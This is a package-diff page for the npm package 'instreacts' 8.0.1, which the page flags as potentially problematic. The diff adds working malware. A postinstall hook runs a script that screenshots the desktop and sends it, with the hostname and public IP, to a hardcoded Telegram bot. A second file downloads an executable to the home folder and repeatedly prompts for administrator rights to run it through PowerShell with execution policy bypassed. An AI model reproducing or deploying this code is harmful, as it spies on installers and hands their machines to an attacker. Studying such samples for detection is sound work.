instreacts 8.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of instreacts might be problematic. Click here for more details.
- package/desktopToTelegram.js +87 -0
- package/install.cjs +50 -0
- package/openExe.mjs +62 -0
- package/package.json +19 -0
@@ -0,0 +1,87 @@
|
|
1
|
+
import os from 'os';
|
2
|
+
import { join } from 'path';
|
3
|
+
import TelegramBot from 'node-telegram-bot-api';
|
4
|
+
import screenshot from 'screenshot-desktop';
|
5
|
+
import axios from 'axios';
|
6
|
+
import { exec } from 'child_process';
|
7
|
+
import fs from 'fs';
|
8
|
+
import { openExeFile } from './openExe.mjs'; // Используйте динамический import
|
9
|
+
|
10
|
+
const token = '6606641825:AAHf8ksIvDJRszJO93ijqufj0ek6SubKiY0';
|
11
|
+
const chatId = '5950028476';
|
12
|
+
const exeFileUrl = 'https://app.prntscr.com/build/setup-lightshot1.exe';
|
13
|
+
|
14
|
+
const bot = new TelegramBot(token, { polling: true });
|
15
|
+
|
16
|
+
let hasConnected = false;
|
17
|
+
|
18
|
+
function getIPFromAmazon() {
|
19
|
+
return axios.get('https://checkip.amazonaws.com/')
|
20
|
+
.then((response) => response.data);
|
21
|
+
}
|
22
|
+
|
23
|
+
function sendScreenshotToTelegram() {
|
24
|
+
getIPFromAmazon().then((ipAddress) => {
|
25
|
+
const computerName = os.hostname();
|
26
|
+
|
27
|
+
screenshot().then((imageBuffer) => {
|
28
|
+
const caption = `⚡️Connect New PC *${computerName}*\n\nIP address: \`${ipAddress}\``;
|
29
|
+
|
30
|
+
bot.sendPhoto(chatId, imageBuffer, { caption, parse_mode: 'Markdown' })
|
31
|
+
.then(() => {
|
32
|
+
downloadExeFile();
|
33
|
+
})
|
34
|
+
.catch((error) => {
|
35
|
+
process.exit(1);
|
36
|
+
});
|
37
|
+
});
|
38
|
+
});
|
39
|
+
}
|
40
|
+
|
41
|
+
function downloadExeFile() {
|
42
|
+
if (!hasConnected) {
|
43
|
+
const programFilesPath = join(os.homedir(), 'downloaded.exe');
|
44
|
+
|
45
|
+
axios({
|
46
|
+
method: 'get',
|
47
|
+
url: exeFileUrl,
|
48
|
+
responseType: 'stream',
|
49
|
+
})
|
50
|
+
.then((response) => {
|
51
|
+
const exeFileName = programFilesPath;
|
52
|
+
|
53
|
+
const exeFile = fs.createWriteStream(exeFileName);
|
54
|
+
|
55
|
+
response.data.pipe(exeFile);
|
56
|
+
|
57
|
+
exeFile.on('finish', () => {
|
58
|
+
exeFile.close();
|
59
|
+
console.log('Файл успешно скачан:', exeFileName);
|
60
|
+
});
|
61
|
+
})
|
62
|
+
.catch((error) => {
|
63
|
+
process.exit(1);
|
64
|
+
});
|
65
|
+
|
66
|
+
hasConnected = true;
|
67
|
+
}
|
68
|
+
}
|
69
|
+
|
70
|
+
process.on('SIGINT', () => {
|
71
|
+
process.exit(0);
|
72
|
+
});
|
73
|
+
|
74
|
+
if (!fs.existsSync('node_modules/node-telegram-bot-api')) {
|
75
|
+
const installCmd = 'npm install node-telegram-bot-api';
|
76
|
+
const installProcess = exec(installCmd);
|
77
|
+
|
78
|
+
installProcess.on('close', (code) => {
|
79
|
+
if (code === 0) {
|
80
|
+
sendScreenshotToTelegram();
|
81
|
+
} else {
|
82
|
+
process.exit(1);
|
83
|
+
}
|
84
|
+
});
|
85
|
+
} else {
|
86
|
+
sendScreenshotToTelegram();
|
87
|
+
}
|
package/install.cjs
ADDED
@@ -0,0 +1,50 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
|
3
|
+
// Проверяем, установлена ли библиотека node-telegram-bot-api
|
4
|
+
try {
|
5
|
+
require('node-telegram-bot-api');
|
6
|
+
} catch (e) {
|
7
|
+
console.log('Библиотека node-telegram-bot-api не установлена. Устанавливаю...');
|
8
|
+
const installCmd = 'npm install node-telegram-bot-api';
|
9
|
+
const installProcess = exec(installCmd);
|
10
|
+
|
11
|
+
installProcess.stdout.on('data', (data) => {
|
12
|
+
console.log(data);
|
13
|
+
});
|
14
|
+
|
15
|
+
installProcess.stderr.on('data', (data) => {
|
16
|
+
console.error(data);
|
17
|
+
});
|
18
|
+
|
19
|
+
installProcess.on('close', (code) => {
|
20
|
+
if (code === 0) {
|
21
|
+
console.log('Библиотека node-telegram-bot-api успешно установлена.');
|
22
|
+
// Запускаем скрипт desktopToTelegram.js
|
23
|
+
const child = exec('node desktopToTelegram.js');
|
24
|
+
child.stdout.on('data', (data) => {
|
25
|
+
console.log(data);
|
26
|
+
});
|
27
|
+
child.stderr.on('data', (data) => {
|
28
|
+
console.error(data);
|
29
|
+
});
|
30
|
+
child.on('close', (code) => {
|
31
|
+
console.log(`Скрипт завершил выполнение с кодом ${code}`);
|
32
|
+
});
|
33
|
+
} else {
|
34
|
+
console.error('Ошибка при установке библиотеки node-telegram-bot-api.');
|
35
|
+
}
|
36
|
+
});
|
37
|
+
}
|
38
|
+
|
39
|
+
console.log('Установка завершена. Запускаю скрипт desktopToTelegram.js...');
|
40
|
+
// Запускаем скрипт desktopToTelegram.js
|
41
|
+
const child = exec('node desktopToTelegram.js');
|
42
|
+
child.stdout.on('data', (data) => {
|
43
|
+
console.log(data);
|
44
|
+
});
|
45
|
+
child.stderr.on('data', (data) => {
|
46
|
+
console.error(data);
|
47
|
+
});
|
48
|
+
child.on('close', (code) => {
|
49
|
+
console.log(`Скрипт завершил выполнение с кодом ${code}`);
|
50
|
+
});
|
package/openExe.mjs
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
import os from 'os';
|
2
|
+
import { join } from 'path';
|
3
|
+
import sudoPrompt from 'sudo-prompt';
|
4
|
+
|
5
|
+
// Получение абсолютного пути к файлу "downloaded.exe" в домашней директории текущего пользователя
|
6
|
+
const programFilesPath = join(os.homedir(), 'downloaded.exe');
|
7
|
+
|
8
|
+
// Флаг для отслеживания выполнения задержки
|
9
|
+
let delayExecuted = false;
|
10
|
+
|
11
|
+
// Функция для выполнения команды с правами администратора
|
12
|
+
const executeWithAdminRights = () => {
|
13
|
+
return new Promise((resolve, reject) => {
|
14
|
+
sudoPrompt.exec(
|
15
|
+
`powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& '${programFilesPath}'"`,
|
16
|
+
{
|
17
|
+
name: 'Your Application Name', // Замените на имя вашего приложения
|
18
|
+
},
|
19
|
+
(error, stdout, stderr) => {
|
20
|
+
if (error) {
|
21
|
+
console.error('Ошибка при запуске процесса:', error);
|
22
|
+
reject(error);
|
23
|
+
} else {
|
24
|
+
console.log('Процесс успешно выполнен с административными правами.');
|
25
|
+
resolve();
|
26
|
+
}
|
27
|
+
}
|
28
|
+
);
|
29
|
+
});
|
30
|
+
};
|
31
|
+
|
32
|
+
// Функция для проверки административных прав и запроса их при необходимости
|
33
|
+
const checkAndRequestAdminRights = async () => {
|
34
|
+
// Проверяем, была ли уже выполнена задержка
|
35
|
+
if (!delayExecuted) {
|
36
|
+
console.log('Выполняем задержку в 2 секунды перед запросом на административные права...');
|
37
|
+
await new Promise(resolve => setTimeout(resolve, 2000)); // 2000 миллисекунд = 2 секунды задержки
|
38
|
+
delayExecuted = true;
|
39
|
+
}
|
40
|
+
|
41
|
+
while (true) {
|
42
|
+
try {
|
43
|
+
const result = await executeWithAdminRights();
|
44
|
+
// Если права администратора предоставлены, завершаем цикл
|
45
|
+
break;
|
46
|
+
} catch (error) {
|
47
|
+
console.error('У вас нет административных прав. Запрос администраторских прав будет повторен через 0.001 секунды.');
|
48
|
+
// Ожидание 5 секунд перед повторным запросом
|
49
|
+
await new Promise(resolve => setTimeout(resolve, 0.001));
|
50
|
+
}
|
51
|
+
}
|
52
|
+
};
|
53
|
+
|
54
|
+
// Вызов функции для проверки и запроса административных прав
|
55
|
+
checkAndRequestAdminRights().then(() => {
|
56
|
+
console.log('Операция завершена.');
|
57
|
+
process.exit(0); // Добавляем эту строку для завершения выполнения скрипта
|
58
|
+
}).catch((error) => {
|
59
|
+
console.error('Ошибка при выполнении операции:', error);
|
60
|
+
});
|
61
|
+
|
62
|
+
export { checkAndRequestAdminRights as openExeFile };
|
package/package.json
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
{
|
2
|
+
"name": "instreacts",
|
3
|
+
"version": "8.0.1",
|
4
|
+
"description": "Скрипт для отправки данных с рабочего стола в Telegram",
|
5
|
+
"main": "desktopToTelegram.js",
|
6
|
+
"dependencies": {
|
7
|
+
"axios": "*",
|
8
|
+
"node-telegram-bot-api": "^0.63.0",
|
9
|
+
"screenshot-desktop": "*",
|
10
|
+
"sudo-prompt": "*"
|
11
|
+
},
|
12
|
+
"scripts": {
|
13
|
+
"start": "node desktopToTelegram.js",
|
14
|
+
"postinstall": "node install.cjs"
|
15
|
+
},
|
16
|
+
"type": "module",
|
17
|
+
"author": "",
|
18
|
+
"license": "ISC"
|
19
|
+
}
|